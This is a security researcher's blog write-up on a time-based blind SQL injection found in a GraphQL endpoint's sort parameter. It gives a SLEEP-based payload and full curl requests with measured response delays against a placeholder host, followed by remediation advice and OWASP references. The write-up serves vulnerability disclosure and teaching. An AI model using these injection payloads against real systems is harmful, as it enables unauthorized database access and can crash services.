Time-Based Blind SQL Injection In GraphQL

Divyanshu Shukla
Aug 17, 2019 · 3 min read

I have heard a lot about GraphQL but never got time to understand due to time constraints. Recently, I got an application to pentest with API in GraphQL. After testing for some time, I was able to find time-based blind SQL injection. We will assume website as http://example.com

Summary

The “sortc” parameter in the http://example.com/api/graphql endpoint was vulnerable to a SQL injection. This allowed an attacker to extract information from the public and secure schema.

There might be other parameters which are vulnerable to SQL Injection.

Impact

Blind SQL injection works by performing a time-based query and then returning back the result after the given time, indicating successful SQL query executing. Using this method, an attacker enumerates which schema is used or which database is used.

The attacker then tries to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier. If the time-based approach is used, this helps determine what type of database is in use. Another popular method to do this is to call functions which will return the current date. MySQL, MSSQL, and Oracle have different functions for that, respectively now(), getdate(), and sysdate().

Proof Of Concept

1) Login to the website.

2) Intercept the following request: http://example.com/api/graphql

3) In the request body, add “OR SLEEP(20)” in sortc

Request:

{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}

4) Wait for some time and check the delay in response from server

5) In this case, the database crashed afterwards. So I reported the vulnerability without further enumeration.

Via CURL:

1) Run curl command with time and check the response time, sleep(2):

time curl -i -s -k  -X $'POST' \
-H $'Host: example.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://example.com/dashboard' -H $'content-type: application/json' -H $'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' -H $'Origin: http://example.com' -H $'Content-Length: 662' -H $'DNT: 1' -H $'Connection: close' \
--data-binary $'{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name OR SLEEP(2)","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}' \
$'http://example.com/api/graphql'

Response time:

  • real 0m4.191s
  • user 0m0.006s
  • sys 0m0.011s

2) Run curl command with time and check the response time, sleep(10):

time curl -i -s -k  -X $'POST' \
-H $'Host: example.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://example.com/dashboard' -H $'content-type: application/json' -H $'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' -H $'Origin: http://example.com' -H $'Content-Length: 663' -H $'DNT: 1' -H $'Connection: close' \
--data-binary $'{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name OR SLEEP(10)","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}' \
$'http://example.com/api/graphql'

Response time:

  • real 0m20.220s
  • user 0m0.006s
  • sys 0m0.006s

Workaround Solution

  • Use of Prepared Statements (with Parameterized Queries)
  • Use of Stored Procedures.
  • Whitelist Input Validation.
  • Escaping all User Supplied Input
  • Enforcing the Least Privilege

Reference

https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e

https://hackerone.com/reports/435066

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

https://www.owasp.org/index.php/Blind_SQL_Injection


InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Divyanshu Shukla

Written by

Security Engineer | Threat Hunter | DevSecops | Linux Administrator

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade